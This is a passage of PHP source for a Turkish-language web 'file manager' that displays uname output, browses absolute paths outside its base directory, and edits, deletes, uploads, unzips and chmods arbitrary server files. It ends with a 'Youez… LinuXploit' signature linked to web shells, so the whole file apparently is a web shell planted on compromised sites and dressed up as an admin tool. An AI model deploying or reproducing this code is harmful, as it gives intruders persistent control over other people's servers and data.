    return strcasecmp($a['name'], $b['name']);
});

// Breadcrumb oluştur (göreceli yol) - artık base_dir'e bağlı değil, göreceli yol olarak sadece current_dir'in base_dir'e göre kısmını gösterir, ama base_dir dışındaysak anlamsız. İsteğe bağlı olarak kaldırabiliriz. Ama mevcut yapıyı bozmamak için düzenleyelim.
// Yeni: Göreceli yol bilgisi sadece base_dir altındaysa anlamlı, değilse "Dışarıda" gibi göster.
$relative_path = '';
if (strpos($current_dir, $base_dir) === 0) {
    $relative_path = substr($current_dir, strlen($base_dir));
} else {
    $relative_path = ' ( sistem dışı )';
}

// Breadcrumb linkleri için artık mutlak yol kullanacağız.
function getAbsolutePathBreadcrumb($current_dir) {
    $real_current = realpath($current_dir);
    if (!$real_current) {
        return htmlspecialchars($current_dir);
    }
    
    $segments = explode(DIRECTORY_SEPARATOR, $real_current);
    $cumulative = '';
    $html = '<div class="absolute-path">📍 <strong>Tam Konum:</strong> ';
    foreach ($segments as $index => $segment) {
        if ($segment === '') continue; // kök dizin
        $cumulative .= DIRECTORY_SEPARATOR . $segment;
        
        // Tüm segmentler tıklanabilir link
        $html .= '<a href="?dir=' . urlencode($cumulative) . '">' . htmlspecialchars($segment) . '</a>';
        
        if ($index < count($segments)-1) {
            $html .= ' / ';
        }
    }
    $html .= '</div>';
    return $html;
}

// Düzenlenecek dosya
$edit_file = null;
if (isset($_GET['edit'])) {
    $file_path = $current_dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if (file_exists($file_path) && is_file($file_path) && is_readable($file_path)) {
        $content = @file_get_contents($file_path);
        if ($content !== false) {
            $edit_file = [
                'path' => $file_path,
                'name' => basename($file_path),
                'content' => $content,
                'size' => filesize($file_path),
                'ext' => strtolower(pathinfo($file_path, PATHINFO_EXTENSION)),
                'lines' => substr_count($content, "\n") + 1
            ];
        }
    }
}

// MIME türlerini belirleme
function getFileIcon($filename, $is_dir) {
    if ($is_dir) {
        return ['icon' => '📁', 'color' => '#f39c12'];
    }
    
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    
    $types = [
        'jpg' => ['icon' => '🖼️', 'color' => '#e74c3c'],
        'jpeg' => ['icon' => '🖼️', 'color' => '#e74c3c'],
        'png' => ['icon' => '🖼️', 'color' => '#3498db'],
        'gif' => ['icon' => '🖼️', 'color' => '#9b59b6'],
        'php' => ['icon' => '🐘', 'color' => '#8892BF'],
        'html' => ['icon' => '🌐', 'color' => '#e34c26'],
        'htm' => ['icon' => '🌐', 'color' => '#e34c26'],
        'css' => ['icon' => '🎨', 'color' => '#264de4'],
        'js' => ['icon' => '📜', 'color' => '#f0db4f'],
        'json' => ['icon' => '📋', 'color' => '#f0db4f'],
        'xml' => ['icon' => '📄', 'color' => '#f0db4f'],
        'pdf' => ['icon' => '📕', 'color' => '#e74c3c'],
        'doc' => ['icon' => '📘', 'color' => '#2b579a'],
        'docx' => ['icon' => '📘', 'color' => '#2b579a'],
        'txt' => ['icon' => '📃', 'color' => '#7f8c8d'],
        'zip' => ['icon' => '📦', 'color' => '#f39c12'],
        'rar' => ['icon' => '📦', 'color' => '#f39c12'],
        'tar' => ['icon' => '📦', 'color' => '#f39c12'],
        'gz' => ['icon' => '📦', 'color' => '#f39c12'],
        'mp3' => ['icon' => '🎵', 'color' => '#1abc9c'],
        'mp4' => ['icon' => '🎬', 'color' => '#9b59b6'],
    ];
    
    return $types[$ext] ?? ['icon' => '📄', 'color' => '#95a5a6'];
}

function permToString($perms) {
    if (!$perms) return '?';
    $info = '';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Volkan Dosya Manager</title>
    <style>
        /* (Stil kodları aynen korunuyor, yerden tasarruf için kısaltılmadı) */
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#f5f5f5; color:#333; line-height:1.6; }
        .container { max-width:1200px; margin:0 auto; padding:20px; }
        .header { background:linear-gradient(135deg,#2c3e50 0%,#4a6491 100%); color:white; padding:20px; border-radius:8px; margin-bottom:20px; display:flex; justify-content:space-between; align-items:center; }
        .header-left h1 { font-size:24px; margin-bottom:5px; }
        .header-left p { opacity:0.8; font-size:14px; }
        .user-info { display:flex; align-items:center; gap:15px; }
        .user-info span { background:rgba(255,255,255,0.1); padding:8px 15px; border-radius:20px; }
        .logout-btn { background:#e74c3c; color:white; border:none; padding:8px 15px; border-radius:5px; cursor:pointer; text-decoration:none; display:inline-block; }
        .logout-btn:hover { background:#c0392b; }
        .system-info { background:#ecf0f1; padding:10px 15px; border-radius:8px; margin-bottom:15px; border-left:4px solid #3498db; font-family:monospace; font-size:13px; color:#2c3e50; word-break:break-all; }
        .current-path { background:white; padding:15px; border-radius:8px; margin-bottom:15px; border:1px solid #ddd; font-family:monospace; }
        .absolute-path { background:#f0f7ff; padding:12px 15px; border-radius:8px; margin-bottom:15px; border:1px solid #b8daff; font-family:monospace; font-size:14px; }
        .absolute-path a { color:#0066cc; text-decoration:none; font-weight:500; }
        .absolute-path a:hover { text-decoration:underline; }
        .breadcrumb { background:white; padding:15px; border-radius:8px; margin-bottom:15px; border:1px solid #ddd; }
        .breadcrumb a { color:#3498db; text-decoration:none; margin:0 5px; }
        .breadcrumb a:hover { text-decoration:underline; }
        .message { padding:15px; border-radius:5px; margin-bottom:15px; display:flex; align-items:center; gap:10px; }
        .message.success { background:#d4edda; color:#155724; border:1px solid #c3e6cb; }
        .message.error { background:#f8d7da; color:#721c24; border:1px solid #f5c6cb; }
        .message.warning { background:#fff3cd; color:#856404; border:1px solid #ffeaa7; }
        .actions-bar { background:white; padding:15px; border-radius:8px; margin-bottom:15px; border:1px solid #ddd; display:flex; flex-wrap:wrap; gap:10px; }
        .btn { padding:10px 15px; border:none; border-radius:5px; cursor:pointer; font-size:14px; display:inline-flex; align-items:center; gap:5px; text-decoration:none; }
        .btn-primary { background:#3498db; color:white; }
        .btn-success { background:#2ecc71; color:white; }
        .btn-warning { background:#f39c12; color:white; }
        .btn-danger { background:#e74c3c; color:white; }
        .btn:hover { opacity:0.9; }
        .file-list { background:white; border-radius:8px; overflow:hidden; border:1px solid #ddd; margin-bottom:20px; }
        .file-list table { width:100%; border-collapse:collapse; }
        .file-list th { background:#f8f9fa; padding:12px 15px; text-align:left; font-weight:bold; border-bottom:2px solid #dee2e6; }
        .file-list td { padding:12px 15px; border-bottom:1px solid #dee2e6; }
        .file-list tr:hover { background:#f8f9fa; }
        .file-item { display:flex; align-items:center; gap:10px; }
        .file-icon { font-size:20px; }
        .file-name { font-weight:500; }
        .file-name a { color:inherit; text-decoration:none; }
        .file-name a:hover { text-decoration:underline; }
        .file-actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-btn { padding:5px 10px; border:none; border-radius:3px; cursor:pointer; font-size:12px; text-decoration:none; display:inline-block; }
        .action-btn-view { background:#3498db; color:white; }
        .action-btn-edit { background:#2ecc71; color:white; }
        .action-btn-download { background:#9b59b6; color:white; }
        .action-btn-delete { background:#e74c3c; color:white; }
        .action-btn-perm { background:#f39c12; color:white; }
        .empty-state { text-align:center; padding:40px 20px; color:#666; }
        .stats-bar { background:white; padding:15px; border-radius:8px; border:1px solid #ddd; display:flex; justify-content:space-between; font-size:14px; color:#666; }
        .modal { display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:1000; align-items:center; justify-content:center; padding:20px; }
        .modal-content { background:white; border-radius:8px; width:100%; max-width:500px; max-height:80vh; overflow-y:auto; }
        .modal-header { padding:15px 20px; border-bottom:1px solid #ddd; display:flex; justify-content:space-between; align-items:center; }
        .modal-header h3 { font-size:18px; }
        .modal-close { background:none; border:none; font-size:24px; cursor:pointer; color:#666; }
        .modal-body { padding:20px; }
        .modal-footer { padding:15px 20px; border-top:1px solid #ddd; display:flex; justify-content:flex-end; gap:10px; }
        .form-group { margin-bottom:15px; }
        .form-group label { display:block; margin-bottom:5px; font-weight:bold; }
        .form-group input, .form-group textarea, .form-group select { width:100%; padding:10px; border:1px solid #ddd; border-radius:5px; font-size:14px; }
        .checkbox-group { display:flex; align-items:center; gap:10px; margin-bottom:10px; }
        .editor-modal .modal-content { max-width:90%; max-height:90vh; }
        .editor-header { background:#2c3e50; color:white; padding:15px 20px; border-bottom:1px solid #34495e; }
        .editor-body { padding:0; height:500px; }
        .editor-textarea { width:100%; height:100%; padding:15px; border:none; font-family:monospace; font-size:14px; resize:none; outline:none; }
        .upload-options { background:#f8f9fa; padding:15px; border-radius:5px; margin-top:10px; border:1px solid #ddd; }
        @media (max-width:768px) { .container { padding:10px; } .header { flex-direction:column; text-align:center; gap:15px; } .actions-bar { flex-direction:column; } .btn { width:100%; justify-content:center; } .file-list { overflow-x:auto; } .file-list table { min-width:800px; } .file-actions { flex-wrap:wrap; } .modal-content { max-height:90vh; } }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="header-left">
                <h1>Volkan Dosya Manager</h1>
                <p>Profesyonel Dosya Yönetim Sistemi</p>
            </div>
            <div class="user-info">
                <span>Kullanıcı: <?php echo htmlspecialchars($_SESSION['username']); ?></span>
                <a href="?logout=1" class="logout-btn">Çıkış</a>
            </div>
        </div>
        
        <div class="system-info">
            <strong>🐧 Sistem (uname -a):</strong> <?php echo htmlspecialchars($uname_info); ?>
        </div>
        
        <div class="current-path">
            📁 Geçerli Dizin: <?php echo htmlspecialchars($current_dir); ?>
            <?php if (!$dir_readable): ?>
                <span style="color: #e74c3c; margin-left: 10px;">⚠️ Dizin okunamıyor!</span>
            <?php endif; ?>
        </div>
        
        <!-- Tıklanabilir mutlak yol (tüm segmentler link) -->
        <?php echo getAbsolutePathBreadcrumb($current_dir); ?>
        
        <!-- Eski breadcrumb (isteğe bağlı, kaldırabilirsiniz) -->
        <!-- <div class="breadcrumb"> ... </div> -->
        
        <?php if ($message): ?>
            <div class="message <?php echo $msg_type; ?>">
                <?php 
                    $icon = $msg_type === 'success' ? '✅' : ($msg_type === 'error' ? '❌' : '⚠️');
                    echo $icon . ' ' . htmlspecialchars($message);
                ?>
            </div>
        <?php endif; ?>
        
        <div class="actions-bar">
            <button class="btn btn-success" onclick="showModal('newFolderModal')">📁 Yeni Klasör</button>
            <button class="btn btn-primary" onclick="showModal('uploadModal')">📤 Dosya Yükle</button>
            <button class="btn btn-warning" onclick="showModal('newFileModal')">📄 Yeni Dosya</button>
            <button class="btn" onclick="showModal('renameModal')">✏️ Yeniden Adlandır</button>
            <a href="?" class="btn">🏠 Başlangıç Dizini</a>
            <button class="btn" onclick="location.reload()">🔄 Yenile</button>
        </div>
        
        <div class="file-list">
            <?php if (empty($items)): ?>
                <div class="empty-state">
                    <div style="font-size: 48px; margin-bottom: 20px;">📂</div>
                    <h3>Bu Dizin Boş</h3>
                    <p>Dosya yüklemek veya klasör oluşturmak için yukarıdaki butonları kullanın.</p>
                </div>
            <?php else: ?>
                <table>
                    <thead>
                        <tr>
                            <th>Ad</th>
                            <th>Boyut</th>
                            <th>Değiştirilme</th>
                            <th>İzinler</th>
                            <th>İşlemler</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Üst Dizin Linki (her zaman göster) -->
                        <?php
                        $parent_dir = dirname($current_dir);
                        if ($parent_dir !== $current_dir): // kök dizinde değilse
                        ?>
                        <tr>
                            <td>
                                <div class="file-item">
                                    <div class="file-icon">⬆️</div>
                                    <a href="?dir=<?php echo urlencode($parent_dir); ?>" class="file-name">
                                        .. (Üst Dizin)
                                    </a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <?php foreach ($items as $item): ?>
                            <?php
                            $file_icon = getFileIcon($item['name'], $item['is_dir']);
                            $size = '-';
                            if (!$item['is_dir'] && $item['size'] > 0) {
                                $bytes = $item['size'];
                                if ($bytes >= 1073741824) {
                                    $size = number_format($bytes / 1073741824, 2) . ' GB';
                                } elseif ($bytes >= 1048576) {
                                    $size = number_format($bytes / 1048576, 2) . ' MB';
                                } elseif ($bytes >= 1024) {
                                    $size = number_format($bytes / 1024, 2) . ' KB';
                                } else {
                                    $size = $bytes . ' B';
                                }
                            }
                            
                            // Dosya URL'i (indirme/görüntüleme için)
                            $file_url = str_replace($_SERVER['DOCUMENT_ROOT'], '', $item['path']);
                            if (empty($file_url) || $file_url[0] !== '/') {
                                $file_url = '/' . $file_url;
                            }
                            
                            $perm_str = $item['perms'] ? permToString($item['perms']) : '?';
                            $octal_perm = $item['perms_str'];
                            ?>
                            
                            <tr>
                                <td>
                                    <div class="file-item">
                                        <div class="file-icon" style="color: <?php echo $file_icon['color']; ?>">
                                            <?php echo $file_icon['icon']; ?>
                                        </div>
                                        <div>
                                            <?php if ($item['is_dir']): ?>
                                                <a href="?dir=<?php echo urlencode($item['path']); ?>" class="file-name">
                                                    <?php echo htmlspecialchars($item['name']); ?>
                                                </a>
                                            <?php else: ?>
                                                <div class="file-name">
                                                    <?php echo htmlspecialchars($item['name']); ?>
                                                    <?php if ($item['editable']): ?>
                                                        <span style="font-size: 11px; background: #2ecc71; color: white; padding: 2px 8px; border-radius: 10px; margin-left: 8px;">✏️ Düzenlenebilir</span>
                                                    <?php endif; ?>
                                                </div>
                                            <?php endif; ?>
                                        </div>
                                    </div>
                                </td>
                                <td><?php echo $size; ?></td>
                                <td><?php echo date('d.m.Y H:i', $item['modified']); ?></td>
                                <td><span title="<?php echo $perm_str; ?>"><?php echo $octal_perm; ?></span></td>
                                <td>
                                    <div class="file-actions">
                                        <?php if ($item['is_dir']): ?>
                                            <a href="?dir=<?php echo urlencode($item['path']); ?>" class="action-btn action-btn-view" title="Klasörü Aç">📂 Aç</a>
                                        <?php else: ?>
                                            <a href="<?php echo htmlspecialchars($file_url); ?>" target="_blank" class="action-btn action-btn-view" title="Görüntüle">👁️ Görüntüle</a>
                                            <a href="<?php echo htmlspecialchars($file_url); ?>" download class="action-btn action-btn-download" title="İndir">⬇️ İndir</a>
                                            <?php if ($item['editable']): ?>
                                                <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($item['name']); ?>" class="action-btn action-btn-edit" title="Düzenle">✏️ Düzenle</a>
                                            <?php endif; ?>
                                        <?php endif; ?>
                                        <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($item['name']); ?>" class="action-btn action-btn-delete" title="Sil" onclick="return confirm('<?php echo htmlspecialchars($item['name']); ?> silmek istediğinize emin misiniz?')">🗑️ Sil</a>
                                        <button class="action-btn action-btn-perm" title="İzinleri Değiştir" onclick="showPermModal('<?php echo base64_encode($item['path']); ?>', '<?php echo htmlspecialchars($item['name']); ?>', '<?php echo $octal_perm; ?>')">🔒 İzin</button>
                                    </div>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            <?php endif; ?>
        </div>
        
        <div class="stats-bar">
            <div>
                <?php 
                $dir_count = count(array_filter($items, function($item) { return $item['is_dir']; }));
                $file_count = count($items) - $dir_count;
                $total_size = array_sum(array_column($items, 'size'));
                ?>
                📁 Klasörler: <strong><?php echo $dir_count; ?></strong> | 
                📄 Dosyalar: <strong><?php echo $file_count; ?></strong> |
                📊 Toplam Boyut: <strong><?php echo formatBytes($total_size); ?></strong>
            </div>
            <div>📋 Toplam: <strong><?php echo count($items); ?></strong> öğe</div>
        </div>
    </div>
    
    <!-- Modals (Yeni Klasör, Yükleme, Yeni Dosya, Yeniden Adlandır) -->
    <div id="newFolderModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📁 Yeni Klasör Oluştur</h3>
                <button class="modal-close" onclick="hideModal('newFolderModal')">&times;</button>
            </div>
            <form method="post" action="?dir=<?php echo urlencode($current_dir); ?>">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="folder_name">Klasör Adı:</label>
                        <input type="text" id="folder_name" name="folder_name" required placeholder="örnek_klasör">
                    </div>
                    <input type="hidden" name="new_folder" value="1">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('newFolderModal')">İptal</button>
                    <button type="submit" class="btn btn-success">Klasör Oluştur</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📤 Dosya Yükle</h3>
                <button class="modal-close" onclick="hideModal('uploadModal')">&times;</button>
            </div>
            <form method="post" enctype="multipart/form-data" action="?dir=<?php echo urlencode($current_dir); ?>">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload_file">Dosya Seç:</label>
                        <input type="file" id="upload_file" name="upload_file" required>
                    </div>
                    <div class="upload-options">
                        <div class="checkbox-group">
                            <input type="checkbox" id="extractZip" name="extract_zip" value="1">
                            <label for="extractZip">ZIP dosyasını çıkar</label>
                        </div>
                        <div class="checkbox-group">
                            <input type="checkbox" id="deleteAfterExtract" name="delete_after_extract" value="1" disabled>
                            <label for="deleteAfterExtract">Çıkardıktan sonra ZIP'i sil</label>
                        </div>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('uploadModal')">İptal</button>
                    <button type="submit" class="btn btn-success">Yükle</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="newFileModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>📄 Yeni Dosya Oluştur</h3>
                <button class="modal-close" onclick="hideModal('newFileModal')">&times;</button>
            </div>
            <form method="post" action="?dir=<?php echo urlencode($current_dir); ?>">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="new_filename">Dosya Adı:</label>
                        <input type="text" id="new_filename" name="new_filename" required placeholder="ornek.txt">
                    </div>
                    <input type="hidden" name="new_file" value="1">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('newFileModal')">İptal</button>
                    <button type="submit" class="btn btn-success">Dosya Oluştur</button>
                </div>
            </form>
        </div>
    </div>
    
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>✏️ Yeniden Adlandır</h3>
                <button class="modal-close" onclick="hideModal('renameModal')">&times;</button>
            </div>
            <form method="post" action="?dir=<?php echo urlencode($current_dir); ?>">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="old_name">Eski Ad:</label>
                        <input type="text" id="old_name" name="old_name" required placeholder="eski_dosya.txt">
                    </div>
                    <div class="form-group">
                        <label for="new_name">Yeni Ad:</label>
                        <input type="text" id="new_name" name="new_name" required placeholder="yeni_dosya.txt">
                    </div>
                    <input type="hidden" name="rename_item" value="1">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('renameModal')">İptal</button>
                    <button type="submit" class="btn btn-success">Yeniden Adlandır</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- İzin Değiştirme Modalı -->
    <div id="permModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3>🔒 İzinleri Değiştir</h3>
                <button class="modal-close" onclick="hideModal('permModal')">&times;</button>
            </div>
            <form method="post" id="permForm" action="?dir=<?php echo urlencode($current_dir); ?>">
                <div class="modal-body">
                    <div class="form-group">
                        <label for="permTarget">Dosya/Klasör:</label>
                        <input type="text" id="permTarget" readonly style="background:#f0f0f0;">
                    </div>
                    <div class="form-group">
                        <label for="currentPerms">Mevcut İzinler:</label>
                        <input type="text" id="currentPerms" readonly style="background:#f0f0f0;">
                    </div>
                    <div class="form-group">
                        <label for="newPerms">Yeni İzinler (örn: 644, 755):</label>
                        <input type="text" id="newPerms" name="new_perms" required placeholder="644" pattern="[0-7]{3,4}" title="Üç veya dört basamaklı octal sayı (0-7)">
                    </div>
                    <input type="hidden" name="target_path" id="targetPath" value="">
                    <input type="hidden" name="chmod_item" value="1">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn" onclick="hideModal('permModal')">İptal</button>
                    <button type="submit" class="btn btn-success">İzinleri Değiştir</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <?php if ($edit_file): ?>
    <div id="editFileModal" class="modal editor-modal">
        <div class="modal-content">
            <div class="editor-header">
                <h3>✏️ Düzenle: <?php echo htmlspecialchars($edit_file['name']); ?></h3>
                <button class="modal-close" onclick="hideModal('editFileModal')">&times;</button>
            </div>
            <div class="modal-body">
                <form id="editForm" method="post">
                    <div class="form-group">
                        <textarea name="file_content" class="editor-textarea" id="fileEditor" spellcheck="false" autocomplete="off"><?php echo htmlspecialchars($edit_file['content']); ?></textarea>
                    </div>
                    <input type="hidden" name="file_path" value="<?php echo base64_encode($edit_file['path']); ?>">
                    <input type="hidden" name="save_file" value="1">
                </form>
            </div>
            <div class="modal-footer">
                <div style="flex:1;"><span style="font-size:12px;color:#666;">📏 <?php echo number_format($edit_file['lines']); ?> satır | 📊 <?php echo formatBytes($edit_file['size']); ?> | 📝 .<?php echo $edit_file['ext']; ?></span></div>
                <button type="button" class="btn" onclick="hideModal('editFileModal')">İptal</button>
                <button type="button" class="btn btn-success" onclick="saveFile()">Kaydet (Ctrl+S)</button>
            </div>
        </div>
    </div>
    <?php endif; ?>
    
    <script>
        function showModal(modalId) { document.getElementById(modalId).style.display = 'flex'; }
        function hideModal(modalId) { document.getElementById(modalId).style.display = 'none'; }
        window.onclick = function(event) { if (event.target.classList.contains('modal')) event.target.style.display = 'none'; }
        document.addEventListener('keydown', function(event) {
            if (event.key === 'Escape') { document.querySelectorAll('.modal').forEach(modal => modal.style.display = 'none'); }
            if (event.ctrlKey && event.key === 's') {
                event.preventDefault();
                const editModal = document.getElementById('editFileModal');
                if (editModal && editModal.style.display === 'flex') saveFile();
            }
        });
        
        const extractCheckbox = document.getElementById('extractZip');
        const deleteCheckbox = document.getElementById('deleteAfterExtract');
        if (extractCheckbox && deleteCheckbox) {
            extractCheckbox.addEventListener('change', function() {
                deleteCheckbox.disabled = !this.checked;
                if (!this.checked) deleteCheckbox.checked = false;
            });
            deleteCheckbox.disabled = !extractCheckbox.checked;
        }
        
        <?php if ($edit_file): ?>
        window.onload = function() {
            const editor = document.getElementById('fileEditor');
            if (editor) {
                editor.style.height = '450px';
                setTimeout(() => { editor.focus(); editor.setSelectionRange(0,0); }, 100);
                showModal('editFileModal');
            }
        };
        <?php endif; ?>
        
        function saveFile() {
            const form = document.getElementById('editForm');
            if (!form) return;
            const formData = new FormData(form);
            fetch(window.location.href, { method:'POST', body:formData })
                .then(response => response.json())
                .then(data => {
                    if (data.status === 'success') {
                        alert('✅ ' + data.message + ' - ' + data.timestamp);
                        hideModal('editFileModal');
                        setTimeout(() => location.reload(), 1000);
                    } else alert('❌ ' + data.message);
                })
                .catch(error => alert('❌ Kaydetme hatası: ' + error.message));
        }
        
        setTimeout(function() {
            document.querySelectorAll('.message').forEach(msg => {
                msg.style.opacity = '0';
                setTimeout(() => msg.style.display = 'none', 500);
            });
        }, 5000);
        
        function showPermModal(pathBase64, fileName, currentPerms) {
            document.getElementById('permTarget').value = fileName;
            document.getElementById('currentPerms').value = currentPerms;
            document.getElementById('targetPath').value = pathBase64;
            showModal('permModal');
        }
        
        <?php if ($edit_file): ?>
        document.addEventListener('DOMContentLoaded', function() { setTimeout(() => showModal('editFileModal'), 300); });
        <?php endif; ?>
    </script>
</body>
</html>

<?php
function formatBytes($bytes, $precision = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit